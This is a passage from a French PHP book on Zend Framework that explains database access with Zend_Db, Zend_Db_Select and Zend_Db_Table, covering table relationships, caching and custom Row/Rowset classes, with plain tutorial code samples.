Bien dautres mthodes existent sur ladaptateur, mais on ne peut toutes les dtailler. Voyons comment mettre jour, supprimer ou insrer des enregistrements.
Insertion dune salle dans la base de donnes
<?php try { $data = array('name' => 'Salon', 'capacity' => 15); $count = $db->insert("room", $data); echo $count . " salle(s) insre(s)"; } catch (Zend_Db_Exception $e) { printf("erreur de requte : %s", $e->getMessage()); }

Les donnes fournies en paramtres sont automatiquement prcdes dun caractre dchappement.
Mise jour des donnes dun utilisateur
<?php $updated = $db->update("user", array('is_admin' => 0), 'id=1'); echo $updated . " enregistrement(s) affect";

Les donnes fournies en paramtres sont automatiquement prcdes dun caractre dchappement. 56
Groupe Eyrolles, 2008

Suppression des rservations effectues par lutilisateur 1


<?php $conditions = array("creator=1"); $deleted = $db->delete("reservation", $conditions); echo $deleted . " enregistrement(s) supprim(s)";

Si les donnes fournies en paramtres ne sont pas prcdes dun caractre dchappement, dans votre cas, utilisez les mthodes quote() ou quoteinto().

Effectuer des requtes de type SELECT avances


La majeure partie des requtes SQL dune application sont de type SELECT. Afin de faciliter leur utilisation, la classe Zend_Db_Select permet de : construire des requtes laide dobjets, assurant une maintenance simplifie ; insrer automatiquement un caractre dchappement devant les noms des tables et des champs slectionns ; ajouter automatiquement un caractre dchappement devant les valeurs insres dans la requte ; aider labstraction de la syntaxe SQL par des mthodes communes. Nous allons tenter de rcuprer toutes les rservations de la salle 3, concernant lutilisateur 2. Pour cela, deux jointures seront ncessaires.
Exemple Zend_Db_Select
<?php $select = $db->select(); $select->from(array("r" => "reservation"), "usage") ->join(array("s" => "room"), "r.id_room=s.id", array("salle" => "name")) ->join(array("u" => "user"), "r.creator=u.id", array("personne" => "firstname")) ->where("s.id=3") ->where("u.id=2") ->limit(3);

Nous pouvons remarquer quune interface fluide nous est propose. Les mthodes ne sont pas compliques retenir, quelques essais de requtes suffisent pour se familiariser avec elles. Chaque tableau dfinit une table ou une colonne, et la cl en dfinit lalias SQL. Deux mthodes where() chanes seront comprises comme tant concatnes avec un ET logique. Si on ne spcifie pas de colonne particulire rcuprer dans la clause FROM ou JOIN, alors * sera utilis.
Groupe Eyrolles, 2008

T Interface fluide

Un objet propose une interface fluide lorsquil permet de chaner ses mthodes de manire illimite et intuitive. En dautres termes, chaque mthode dune classe dinterface fluide retourne $this.

57

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

Notez que nous pouvons complter notre objet $select dans lordre que nous voulons : commencer par la clause WHERE puis finir par la FROM. Tant que lon nexcute pas la requte encapsule dans lobjet, le SGBD nest au courant de rien.
RENVOI Mthode magique
Pour tout savoir sur les mthodes magiques, consultez lannexe C.

La syntaxe SQL gnre par lobjet $select sera compatible avec le SGBD reprsent dans lobjet adaptateur ($db dans nos exemples). Vous pouvez prendre connaissance de cette syntaxe nimporte quel moment, en affichant lobjet $select avec une commande echo par exemple. Sa classe utilise la mthode magique __toString().
Affichage de la syntaxe SQL de la requte
<?php // ... echo $select; // Avec Mysql, ceci affiche : SELECT `r`.`usage`, `s`.`name` AS `salle`, `u`.`firstname` AS X `personne` FROM `reservation` AS `r` INNER JOIN `room` AS X `s` ON r.id_room=s.id INNER JOIN `user` AS `u` ON X r.creator=u.id WHERE (s.id=3) AND (u.id=2) LIMIT 3

Pour excuter la requte, il suffit de passer lobjet Zend_Db_Select nimporte quelle mthode de rcupration de rsultats (fetch) que nous avons vue :
Rcupration des rsultats de lobjet de slection
<?php // ... Zend_Debug::dump($db->fetchAll($select)); // affiche : array(1) { [0] => array(3) { ["usage"] => string(26) "runion ventes mensuelles" ["salle"] => string(7) "Pintade" ["personne"] => string(9) "guillaume" } }

Il est possible dutiliser des expressions ou des fonctions dpendantes du SGBD dans la requte de slection. Zend_Db_Select va dtecter les parenthses lors de leur criture et agir en consquence.
Exemple dutilisation dune fonction MySQL dans une requte SELECT
<?php $select = $db->select(); $select->from("user", array("CONCAT(firstname,' - ',lastname) AS user")) ->where("id=2");

58

Groupe Eyrolles, 2008

Zend_Db_Select

va alors automatiquement convertir cette expression en utilisant un objet Zend_Db_Expr prvu cet effet.

Utiliser la passerelle vers les tables


Toute la partie requte et interface avec le SGBD va se substituer la couche Model du sigle MVC (Model-View-Controller ou Modle-VueContrleur, en franais). Elle devra tre isole dans des classes globales qui permettront une gestion simple et commune des donnes. En utilisant Zend Framework, ces classes emploient la logique fournie par Zend_Db_Table.
Zend_Db_Table

est un sous-composant de Zend_Db, qui utilise un motif de conception dit Table Data Gateway. Ce motif permet de crer une passerelle entre une table de base de donnes et une classe PHP. Chaque table peut tre reprsente par une classe, et les mthodes proposes sur les objets instances de cette classe vont offrir une manire simple deffectuer des oprations sur la table en question.

CULTURE ORM
Zend_DB_Table nest pas un ORM (Object Relational Mapping ou mapping objet-relationnel, en franais) proprement parler. Un ORM peut utiliser ou non une base de donnes comme support sous-jacent. Un ORM soccupe dchanger des messages entre des objets et peut ventuellement utiliser une passerelle vers les tables, comme Zend_Db_Table. Il existe plusieurs solutions ORM en PHP : Doctrine et Propel pour les plus compltes, phpMyObject, EZPDO ou encore jDao.

Figure 55

Diagramme de classes non exhaustif de lensemble Zend_Db_Table


Zend_Db_Table_Abstract contient toute la logique de gestion de la table. Toutes nos classes vont tendre cette classe. Zend_Db_Table_Row_Abstract reprsente un enregistrement de la table : on peut le modifier, le supprimer, lenregistrer... Zend_Db_Table_Rowset_Abstract reprsente un jeu denregistrements retourn par la requte SQL. Il est itratif et comptable, et sera retourn quelques fois par Zend_Db_Table_Abstract.

Groupe Eyrolles, 2008

59

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

ENTRE NOUS Abstract ou non


Zend_Db_Table, mais aussi les classes Row et Rowset, possdent la fois une classe abstraite et une classe concrte (sauf Zend_Db_Table qui est abstraite, mais dprcie). Les concrtes hritant des abstraites sans rien redfinir, tendez plutt labstraite (pour des raisons de performances). Sachez aussi que, comme nous le verrons, les classes Row et Rowset peuvent tres changes par vos propres classes via des mthodes le proposant.

Zend_Db_Table_Select

tend Zend_Db_Select, il ragit comme cette classe, mais il est rduit des requtes qui concernent exclusivement la table Zend_Db_Table qui lui est associe.

Mapping de la table user, fichier TUser.php


<?php /** * Modle associ la table user */ class TUser extends Zend_Db_Table_Abstract { protected $_name = 'user'; protected $_primary = 'id'; }

Au plus simple, il faut spcifier dans les proprits protges $_name et $_primary, respectivement les noms de la table et de la (des) cl(s) primaire(s). Mme si Zend Framework est capable de trouver la (les) cl(s) primaire(s), il est conseill de la (les) faire apparatre, ce qui simplifie la lecture de la classe. Une cl primaire compose de plusieurs colonnes doit tre spcifie sous forme de tableau.
Mapping de la table reservation, fichier TReservation.php ATTENTION Pas de cl primaire ?
Zend Framework refusera systmatiquement toute classe passerelle vers une table ne comportant pas de cl primaire. Vos tables doivent possder au moins une colonne permettant didentifier chaque enregistrement de manire unique. Par dfinition, notre vue ne possde pas de cl primaire, mais nous leurrons Zend Framework en spcifiant tout de mme une cl.
<?php /** * Modle associ la table reservation */ class TReservation extends Zend_Db_Table_Abstract { protected $_name = 'reservation'; protected $_primary = 'id'; }

Crer et excuter des requtes


Toutes les classes hritant de Zend_Db_Table_Abstract, que nous pourrons aussi appeler classes modles ou modles (en rfrence au M de MVC), vont avoir besoin de ladaptateur afin de pouvoir piloter la base de donnes. Il est donc indispensable de le leur fournir, et il existe une manire trs simple pour cela.
Partage de ladaptateur entre tous les modles
<?php // $db est lobjet de connexion Zend_Db_Adapter Zend_Db_Table_Abstract::setDefautAdapter($db);

60

Groupe Eyrolles, 2008

nest autre quune surcouche de servant manipuler les donnes travers le concept de tables. La figure 5-6 montre les mthodes (publiques) dont nous disposons.
Zend_Db_Table_Abstract Zend_Db_Adapter

Les mthodes telles que insert(), delete(), ou encore update(), sont trs similaires celles utilisables sur ladaptateur. Nous les avons vues prcdemment dans ce chapitre. La seule diffrence est quelles nacceptent plus de paramtre reprsentant le nom de la table, car celui-ci est dj encapsul dans lobjet.

Manipuler des donnes


Les mthodes fetchAll(), fetchRow(), find() et createRow() retournent un ou des enregistrements. Un enregistrement est reprsent par un objet instance de Zend_Db_Table_Row_Abstract. Par dfaut, la classe Zend_Db_Table_Row est utilise.

Figure 56

Rcuprer des enregistrements


Plusieurs enregistrements peuvent tre encapsuls dans un objet Zend_Db_Table_Rowset_Abstract, qui est par dfaut un Zend_Db_Table_Rowset. Cet objet Rowset est itratif et comptable. La figure 5-7 montre les mthodes offertes par ces deux classes.

Diagramme de classes des mthodes publiques de Zend_Db_Table_Abstract

Figure 57

Diagramme de classes des mthodes publiques des Zend_Db_Table_Rows

Commenons par afficher tous les utilisateurs.

Groupe Eyrolles, 2008

61

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

Affichage de tous les utilisateurs


<?php // Nous supposons les classes passerelles incluses // require_once 'Tuser.php'; $table = new TUser; $users = $table->fetchAll(); foreach ($users as $user) { echo $user->lastname; }

RAPPEL Zend_Db_Table_Rowset
Zend_Db_Table_Rowset est un itrateur de Zend_Db_Table_Row (un jeu de rsultats). La classe implmente seekableIterator, nous pouvons donc utiliser une structure foreach sur ses objets. Les itrateurs sont expliqus en annexe C.

Par dfaut fetchAll() utilise une requte de type SELECT *. Ainsi le rsultat mis dans $users est un Rowset. Les enregistrements Rows donnent accs aux colonnes SQL slectionnes, directement en tant quattributs de lobjet. Comme la requte qui a donn naissance ce jeu de rsultats slectionne toutes les colonnes de la table, elles sont toutes accessibles dans les enregistrements rsultants. Voyons comment limiter la requte avec un objet Zend_Db_Table_Select. Cet objet se comporte presque de la mme manire que son pre Zend_Db_Select (que nous avons vu prcdemment dans ce chapitre), sauf quil est un peu plus restrictif quant aux donnes slectionnes. En effet, celles-ci ne peuvent faire partie que de la table qui y est associe.
Slection avance de donnes sur la table
<?php $table = new TUser; $select = $table->select()->from($table, 'lastname') ->where('id < ?', 5); $users = $table->fetchAll($select); foreach ($users as $user) { echo $user->lastname; }

ATTENTION Zend_Db_Table_Select
Zend_Db_Table_Select est verrouill sur la table qui lui a donn naissance (via la mthode select()). Il nest pas possible avec cet objet de slectionner des colonnes ne faisant pas partie de la table de rfrence. Il est en revanche possible de crer des jointures.

Ici nous utilisons un objet Zend_Db_Table_Select afin de limiter les rsultats retourns : nous ne voulons que la colonne lastname des utilisateurs dont lid est infrieur 5. Les objets rsultants de cette requte ne proposent plus laccs qu la colonne lastname, seule slectionne.

ALTERNATIVE Et fetchRow() ?
Nous utilisons souvent la mthode fetchAll() de Zend_Db_Table_Abstract. Celle-ci retourne un jeu denregistrements (Rowset). fetchRow(), elle, retourne un seul enregistrement (Row). Il faut donc lutiliser sur une requte prpare dans ce but.

Affichage des donnes dun jeu denregistrements sous forme de tableau


<?php $table = new TUser; $select = $table->select()->from($table, 'lastname') ->where('id < ?',5); $users = $table->fetchAll($select); Zend_Debug::dump($users->toArray());

62

Groupe Eyrolles, 2008

// Affiche un rsultat ressemblant : array(2) { [0] => array(1) { ["lastname"] => string(5) "pauli" } [1] => array(1) { ["lastname"] => string(7) "ponon" } }

La mthode find() de Zend_Db_Table_Abstract retourne des enregistrements par cl primaire. Cest une mthode de convenance souvent utilise. Comme on peut lui demander un jeu de rsultats concernant plusieurs cls primaires, elle retourne systmatiquement un objet Zend_Db_Table_Rowset.
Rcupration de lutilisateur numro 2
<?php $table = new Tuser; $membres = $table->find(2); $membre2 = $membres->current(); // Affiche le prnom de lutilisateur membre numro 2 echo $membre2->firstname;

Il est aussi possible de passer un tableau dentiers la mthode find(), elle cherchera alors les enregistrements dont les cls primaires sont celles spcifies.

Modifier et sauvegarder des enregistrements


Tout objet Row donne donc accs, via ses attributs, aux donnes de lenregistrement de base de donnes. Les colonnes de la table sont utilises comme noms dattributs sur lobjet. Ces attributs sont aussi accessibles en criture, il est donc possible de modifier une donne du Row. La mthode save() permet alors de mettre jour lenregistrement dans la base de donnes.
Modification et sauvegarde dun utilisateur en base de donnes
<?php $table = new Tuser; $membres = $table->find(2); $membre = $membres->current(); // Modification du prnom de lutilisateur, dans lobjet $membre->firstname = 'Alain'; // Enregistrement de lobjet en base de donnes $membre->save();

Groupe Eyrolles, 2008

63

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

Aussi, la mthode delete() va supprimer de la base de donnes lenregistrement concern.


Suppression de lutilisateur numro 2
<?php $table = new Tuser; $membres = $table->find(2); $membre = $membres->current(); // Suppression de lutilisateur de la base de donnes $membre->delete();

Il peut aussi tre utile de pouvoir crer un enregistrement Row vierge (vide), pour, par exemple, le remplir avec les donnes issues dun formulaire, avant de lenregistrer en base de donnes. Ceci se fait au moyen de la mthode createRow() depuis la classe Zend_Db_Table_Abstract en question.
ATTENTION Cl primaire inaccessible
Il vous est interdit daccder en criture la cl primaire de lenregistrement. Une exception sera leve. Dans le cas o la cl primaire nest pas auto-incrmente, il faut dclarer un attribut $_sequence = false dans la classe de la table en question, afin de permettre la modification de la cl primaire sur les enregistrements Rows qui en rsultent.

Cration dun objet vierge, remplissage et sauvegarde


<?php $table = new Tuser; // Cration dun objet Row vierge $nvoMembre = $table->createRow(); // Remplissage de lobjet cr $nvoMembre->firstname = 'Jean'; $nvoMembre->lastname = 'Dupont'; // Sauvegarde de cet objet en base de donnes $membre->save();

Remarquez que la mthode save() est intelligente. Sil sagit dune modification dun enregistrement existant, alors elle excutera une requte de type update. Dans le cas contraire, une requte insert sera alors utilise.
T Srialisation

La srialisation est laction de passer dun type composite (en PHP, le tableau ou lobjet), un type scalaire (chane de caractres). Un objet ou un tableau ne peut tre enregistr en session sans tre srialis. Le mcanisme des sessions en PHP le fait automatiquement. Cela dit la fonction PHP serialize() est disponible pour effectuer lopration manuellement, au besoin.

Aussi, il est possible de mettre un enregistrement Row (ou un Rowset) en session, ou encore de le srialiser. Une fois mis en session, lenregistrement peut en tre restaur, mais il sera alors en mode lecture seule. Chaque enregistrement Row (tout comme les jeux denregistrements Rowset) possde en lui la connexion la base de donnes (Zend_Db_Adapter_*). Cette connexion ne peut tre srialise, ainsi lobjet dsrialis sera nu. Il faut de nouveau le relier la table laquelle il appartient afin de pouvoir le sauver ou le modifier.

64

Groupe Eyrolles, 2008

Enregistrement dun Row en session


<?php session_start(); $table = new Troom; $room3 = $table->find(3)->current(); // Enregistrement et srialisation automatique de // lobjet en session $_SESSION['room'] = $room3;

Restauration dun Row depuis la session


<?php // Dans un autre script, aprs session_start(); // Rcupration et dsrialisation automatique de lobjet $room3 = $_SESSION['room']; $room3->name = 'changed'; $room3->save(); // Ceci gnre une exception $table = new Troom; // Reconnexion de lenregistrement sa table et // donc la base de donnes $room3->setTable($table); $room3->name = 'changed'; $room3->save(); // ok

Un objet dsrialis est donc en mode dconnect, ce qui peut se vrifier via la mthode isConnected(). Nous verrons dans la section Aller plus loin de ce chapitre comment manipuler ces fonctionnalits de manire avance.

Agir sur les tables dpendantes


Il est possible, depuis un enregistrement Row, de demander un ou plusieurs enregistrements dpendants. Pour cela, il faut identifier le type de relations entre les tables. Celles-ci sont au nombre de trois : 1 vers 1 : par exemple, lorsque depuis une rservation, nous voulons retrouver la salle, ou encore lutilisateur correspondant. Depuis une rservation, il ne peut y avoir quun utilisateur correspondant (ou une salle), il sagit donc dune relation 1 vers 1 ; 1 vers plusieurs : par exemple, lorsque depuis une salle, nous voulons accder ses rservations. Une salle possde bien zro ou plusieurs rservations, la relation est donc 1 vers plusieurs ;

Groupe Eyrolles, 2008

65

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

SCURIT Contraintes dintgrit


Nous utilisons une table MySQL au format Innodb. Ce moteur de stockage nous permet de crer des contraintes dintgrit rfrentielle sur les colonnes des tables. Le framework, et plus gnralement lapplication, est alors soulag de cette partie.

plusieurs vers plusieurs : par exemple, depuis une salle nous voulons connatre tous les utilisateurs y tant affects. Pour cela, il faudra passer par la table reservationuser (dite table de liaison). La relation est bien de type plusieurs plusieurs. Zend Framework nest pas capable de dcouvrir ces relations pour nous. Nous allons devoir les lui prciser. ce titre, la rgle est simple : toute classe passerelle vers une table recevant des cls dune autre table devra en prciser lorigine. Ceci se fait au moyen de lattribut de classe $_referenceMap.
Dfinition des relations de la table reservation
<?php class TReservation extends Zend_Db_Table_Abstract { protected $_name = 'reservation'; protected $_primary = array('id_user', 'id_room'); protected $_referenceMap = array( 'Salle' => array( 'columns' => 'id_room', 'refTableClass' => 'TRoom', ), 'Utilisateur' => array( 'columns' => 'creator', 'refTableClass' => 'TUser', ),); }

Ds lors que les relations sont dclares, il devient possible, sur un enregistrement Row dune table, de demander les enregistrements lis. Voici les mthodes disponibles : findParentRow() : partir dun enregistrement, trouve lenregistrement parent. Dfini par une relation 1 vers 1 ; findDependentRowset() : partir dun enregistrement, trouve les enregistrements (Rowset) dpendants dans une table. Dfini par la relation 1 vers plusieurs ; findManyToManyRowset() : partir dun enregistrement, trouve les enregistrements (Rowset) dpendants dans une table, en passant par une table de liaison. Dfini par la relation plusieurs vers plusieurs. Aussi, des mthodes magiques peuvent remplacer celles-ci, de manire proposer des appels plus intuitifs : find<classe>() : est quivalent findParentRow() ; findParent<classe>() : est quivalent findDependentRowset() ; find<classe1>Via<classe2>() : est quivalent findManyToManyRowset(). 66
Groupe Eyrolles, 2008

Trouver la salle concerne par une rservation


<?php // comme dhabitude, nous supposons la classe TRervation incluse $Treserv = new Treservation; // Rcupration par cl primaire $reservation = $Treserv->find(1)->current(); $salleCorrespondante = $reservation->findParentTRoom(); // $salleCorrespondante est un Row issu de la classe Troom echo $salleCorrespondante->name; // nom de la salle

Partir dun utilisateur et trouver les rservations quil a cres


<?php $Tuser = new Tuser; // Rcupration par cl primaire $utilisateur = $Tuser->find(2)->current(); $reservCorrespondantes = $utilisateur->findTReservation(); // $reservCorrespondantes est un Rowset issu de // la classe TReservation foreach ($reservCorrespondantes as $reserv) { echo "$utilisateur->firstname a cre une reservation pour $reserv->usage"; }

Partir dun utilisateur et trouver les rservations auxquelles il est affect


<?php $Tuser = new Tuser; // Rcupration par cl primaire $utilisateur2 = $Tuser->find(2)->current(); $reservs = $utilisateur2->findTReservationViaTReservationUser(); // $ reservs est un Rowset issu de la classe TReservation foreach ($reservs as $reservation) { echo "$utilisateur2->firstname est affect la reservation $reservation->usage"; }

Zend Framework va automatiquement se charger de crer les jointures ncessaires la rcupration des rsultats. Dans le cas dune erreur, une exception Zend_Db_Table_Row_Exception est leve. Par dfaut, toutes les colonnes des tables jointes sont slectionnes : toujours suivant le mme principe, la cration dun objet Zend_Db_Table_Select adapt permet de limiter les champs retourns.

Groupe Eyrolles, 2008

67

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

Partir dun utilisateur et trouver les rservations quil a cres en limitant les colonnes retournes
<?php $Tuser = new Tuser; $Treservation = new Treservation; $select = $Treservation->select() ->from($TReservation, 'usage'); // Rcupration par cl primaire $utilisateur = $Tuser->find(2)->current(); $reservCorrespond = $utilisateur->findTReservation($select); // $reservCorrespond est un Rowset issu de la classe // Treservation dont les Rows qui le composent sont // limits en champs foreach ($reservCorrespond as $reserv) { echo "$utilisateur->firstname est affect une runion $reserv->usage"; }

Performances et stabilit
Le modle propos par Zend_Db_Table est simple. Cependant, une utilisation incorrecte de ces classes peut vite faire tourner lapplication la catastrophe au niveau des performances. Les classes Zend_Db_Table emploient la mthode describeTable() afin de se renseigner sur la table quelles utilisent. Il est possible de mettre ces donnes en cache via Zend_Cache, afin dviter PHP de les recharger chaque requte HTTP. Pour cela, agissez comme suit :
Mettre les mtadonnes utilises par Zend_Db_Table en cache
<?php $frontendOptions = array('automatic_serialization' => true, 'lifetime' => 100); $cache = Zend_Cache::factory('Core', 'APC', $frontendOptions, array()); Zend_Db_Table_Abstract::setDefaultMetadataCache($cache);

Dans cet exemple, nous choisissons APC (appel de procdure asynchrone) comme support pour le cache. La partie cache concernant Zend_Cache est dtaille au chapitre 10.
Zend_Db

propose un objet de profiling, Zend_Db_Profiler, permettant de prendre connaissance des requtes envoyes au SGBD, et de reprer les requtes les plus lentes. Mme si le SGBD lui-mme propose en gnral ce genre doutil, il peut tre intressant de lier Zend_Db_Profiler avec
Groupe Eyrolles, 2008

68

par exemple, pour enregistrer ou surveiller les requtes les plus gourmandes. Il faut noter aussi quune classe Zend_Db_Profiler_Firebug existe, son nom est explicite.
Zend_Log

Les bons rflexes


Voici quelques conseils suivre : Slectionnez toujours les champs qui vous intressent dans une table, utilisez aussi souvent que possible une clause comparable LIMIT ou encore WHERE afin de rduire le nombre de rsultats slectionns. Utilisez la rcupration des dpendances avec parcimonie (findDependentRowset() par exemple). Ces mthodes effectuent des jointures et slectionnent par dfaut tous les champs de la table jointe. Les utiliser dans une boucle serait un pur massacre pour le SGBD : crivez vous-mme vos jointures en les limitant au strict ncessaire. Utilisez des vues pour accder vos donnes de manire simple et optimale. Zend_Db_Table fonctionne avec les vues. Essayez de transfrer un maximum de traitements au niveau du SGBD : vues, dclencheurs, procdures stockes... MySQL, comme tout SGBD rcent, est capable de traiter cela de manire bien plus performante que si la logique tait dporte dans lapplication. vitez les oprations idiotes :
$obj = $table->find(3)->current()->delete();

doit tre remplac par :$table->delete(3); Gardez toujours lesprit le type de requtes qui sont effectues lorsque vous utilisez des mthodes ou des objets mtier. Utilisez le profileur pour cela. Utilisez un cache comme Zend_Cache pour mettre en cache les requtes les plus lourdes, voyez aussi du ct de votre SGBD : il est capable de mettre en cache des requtes prpares entre deux connexions, et Zend Framework nutilise que des requtes prpares.

PRATIQUE Profileur
Zend_Db_Profiler est un objet qui permet lanalyse statistique des requtes. Il nest pas difficile mettre en place et un coup dil la documentation vous permettra de rapidement vous familiariser avec loutil. Son homologue Zend_Db_Profiler_Firebug permet de toujours surveiller, dans la console Firebug, les requtes envoyes au SGBD.

Aller plus loin avec le composant Zend_Db


Crer ses requtes personnalises
Chaque classe dite de modle, possde des mthodes dont elle hrite de Zend_Db_Table_Abstract. Mais il est tout fait possible, et mme recommand, dcrire dautres mthodes qui seront utiles plus tard dans les contrleurs.
Groupe Eyrolles, 2008

69

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

Par exemple, notre application pourrait avoir besoin de demander si une salle est disponible de telle date telle date. Idem pour un utilisateur : est-il disponible entre le 1er janvier et le 3 fvrier de cette anne ? Nous allons, pour rpondre ces questions, crer des mthodes dans les classes Troom et Tuser.
Exemple de mthode personnalise
<?php class TRoom extends Zend_Db_Table_Abstract { protected $_name = 'room'; protected $_primary = 'id'; public function isAvailableAtPeriod($id, Zend_Date $debut, Zend_Date $fin) { $select = $this->_db->select(); $select ->from(array('r'=>'reservation'),'id_room') ->where("UNIX_TIMESTAMP(date_begin) BETWEEN {$debut->getTimestamp()} AND {$fin->getTimestamp()}") ->orWhere("UNIX_TIMESTAMP(date_end) BETWEEN {$debut->getTimestamp()} AND {$fin->getTimestamp()}") ->orWhere($this->_db->quoteInto('UNIX_TIMESTAMP(date_end)<?', $debut->getTimestamp())) ->where('r.id_room = ?', (int)$id, Zend_Db::INT_TYPE); return !(bool)$select->query()->rowCount(); } public function getReservedDaysCount($id) { $select = $this->_db->select(); $select->from(array('r'=>'reservation'), array('count'=>'UNIX_TIMESTAMP(date_end)-UNIX_TIMESTAMP(date_begin)')) ->where('id_room=?', (int)$id, Zend_Db::INT_TYPE) ->where('UNIX_TIMESTAMP(date_end)>?', Zend_Date::now()->getTimestamp()); return (int)ceil(array_sum(array_keys($this->_db->fetchAll($select, null, Zend_Db::FETCH_GROUP))) / 86400); } }

Nous nous retrouvons avec une classe Troom qui possde deux mthodes faites main : isAvailableAtPeriod($id, Zend_Date $debut, Zend_Date $fin) : bool ; getReservedDaysCount($id) : int. Les calculs peuvent paratre un peu complexes, ils utilisent Zend_Date et des fonctions de MySQL, mais ils rpondent au besoin. Chaque classe passerelle possde une rfrence vers lobjet Adapter, accessible via lattribut $_db.

70

Groupe Eyrolles, 2008

tendre Row et Rowset


Zend Framework a t pens pour tre extensible et personnalisable. Il propose un socle stable que chaque dveloppeur pourra tendre sa manire. Les objets Row et Rowset en sont un bon exemple. Par dfaut, Zend Framework utilise Zend_Db_Table_Row (et son quivalent Rowset), qui tendent chacun respectivement Zend_Db_Table_Row_ Abstract (et son quivalent Rowset). Il est possible de remplacer ces objets par les vtres. Ceci va vous permettre entre autres de : dvelopper votre propre logique de gestion des rsultats dune base de donnes ; modifier les mcanismes de persistance et de sauvegarde des objets dits mtier (objets Row). Pour cela, il faut crer ses propres classes, puis indiquer chaque classe passerelle que ce sont elles quelle devra utiliser, au lieu des objets par dfaut. Ceci se ralise au moyen de mthodes comme setRowClass(), ou encore via les attributs protgs $_rowClass et $_rowsetClass. Nous allons ajouter une mthode saveToMemory() aux objets Row. Cette mthode sauvegardera lobjet en mmoire en utilisant le cache pass aux classes passerelles. Aussi, nous allons dvelopper un systme dautosauvegarde de lobjet en mmoire si celui-ci a t modifi dans le script, mais non sauvegard avec la mthode save(). Il est ncessaire de relier un enregistrement Row sa table lorsquil est dsrialis. Nous allons rendre cette tape automatique. Les objets Rowset, quant eux, doivent pouvoir utiliser nimporte quelle mthode propose par les objets Row quils contiennent. Ceci simplifiera fortement lAPI. La structure de nos classes et leur organisation au niveau du systme de fichiers respectera les conventions Zend Framework, afin de pouvoir bnficier de lautoload.
Une classe Row personnalise : Zfbook/Db/Table/Row.php
<?php /** * Enregistrement (Row) de base de donnes */ class Zfbook_Db_Table_Row extends Zend_Db_Table_Row_Abstract { /** * Activation/dsactivation de lautosauvegarde * la destruction */ private static $_autoSave = true;

RAPPEL Autoload
Lorganisation de Zend Framework et lautoload ont t abords au chapitre 4. Nous rappelons que nous supposons lautoload activ, et nous omettons donc toute instruction de type include ou require.

Groupe Eyrolles, 2008

71

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

/** * Mthode de manipulation de lautosauvegarde */ public static function setAutoSave($save) { self::$_autoSave = (bool) $save; } /** * Sauvegarde les donnes dans le cache */ public function saveToMemory() { $cache = Zend_Db_Table::getDefaultMetadataCache(); if (!$cache instanceof Zend_Cache_Core ) { throw new Zend_Db_Table_Row_Exception('Pas de cache configur'); } $cacheId = ''; foreach ($this->_primary as $primary) { $cacheId .= '_' . $this->$primary; } return $cache->save($this, $this->_tableClass.$cacheId); } /** * Destructeur dobjet. * Sauvegarde automatiquement lobjet dans le cache * si la sauvegarde est active et si lobjet a t modifi * depuis sa cration. */ public function __destruct() { if (!self::$_autoSave || empty($this->_modifiedFields)) { return; } $this->saveToMemory(); } /** * Appel la dsrialisation de lobjet * Reconnecte automatiquement lobjet sa table */ public function __wakeup() { $this->setTable(new $this->_tableClass); } }

72

Groupe Eyrolles, 2008

Une classe Rowset personnalise : Zfbook/Db/Table/Rowset


<?php class Zfbook_Db_Table_Rowset extends Zend_Db_Table_Rowset_Abstract { /** * Mthode magique mettant en cache tout appel non existant sur * le Rowset, vers les Rows quil contient */ public function __call($meth, $args) { if (method_exists($this->_rowClass, $meth)) { foreach ($this as $row) { call_user_func_array(array($row, $meth), $args); } } else { trigger_error("Call to undefined method ".get_class($this)."::$meth()", E_USER_ERROR); } } }

Pour pouvoir utiliser ces deux objets Row et Rowset, il faut les dclarer au niveau des classes passerelles (Zend_Db_Table), par exemple comme ceci :
Faire en sorte quune classe passerelle utilise les objets personnaliss
<?php class TRoom extends Zend_Db_Table_Abstract { protected $_name = 'room'; protected $_primary = 'id'; protected $_rowClass = 'Zfbook_Db_Table_Row'; protected $_rowsetClass = 'Zfbook_Db_Table_Rowset'; // ... suite de la classe }

La classe TRoom servira maintenant des objets Zfbook_Db_Table_Row et Rowset, avec leurs fonctionnalits additionnelles. Tout objet Row qui a t modifi depuis sa cration et non sauvegard avec la mthode save() sera alors, sa destruction, sauvegard dans un cache. Actuellement, il nexiste pas de mthode permettant de les rcuprer du cache, mais nous laissons ceci votre apprciation. Aussi, le proxy de mthodes sur le Rowset est trs intressant, dans la mesure o il permet un appel de mthode des objets Row, sur le Rowset.

Groupe Eyrolles, 2008

73

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

Proxy de mthode dun Rowset vers les Rows quil contient


<?php $Tuser = new TUser; // Rcupration des utilisateurs 1, 2 et 3 // $users est un jeu de rsultats : Rowset $users = $Tuser->find(array(1, 2, 3)); // Cette mthode nexiste pas sur les objets Rowset, mais // sera appele, grce __call, sur tous les objets // Row le composant $users->saveToMemory();

En rsum
Zend_Db

est un composant riche en fonctionnalits et trs extensible. Il permet une interface simple et robuste avec la plupart des SGBD du march et propose, dans la majorit des cas, linsertion automatique de caractres dchappement ainsi que des requtes prpares.

Son implmentation, base sur les motifs de conception Table Data Gateway et Row Data Gateway, permet des oprations simples sur les tables ou les vues, alors quils ont t programms pour tre extensibles et ventuellement pour sintgrer dans des solutions plus larges dORM.

74

Groupe Eyrolles, 2008

chapitre

Groupe Eyrolles, 2008

Architecture MVC

SOMMAIRE

B Comprendre lorganisation

Rares sont les applications web qui nutilisent pas de prs ou de loin une architecture de type MVC. Motif de conception spcialis dans lorganisation globale dune application, MVC propose une sparation entre le design, la gestion des donnes et la logique de navigation.

MVC de Zend Framework

B Matriser lutilisation de
Zend_Controller COMPOSANTS

B Zend_Controller B Zend_Layout B Zend_View


MOTS-CLS

B MVC B modle B vue B contrleur B architecture B template B action B navigation

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

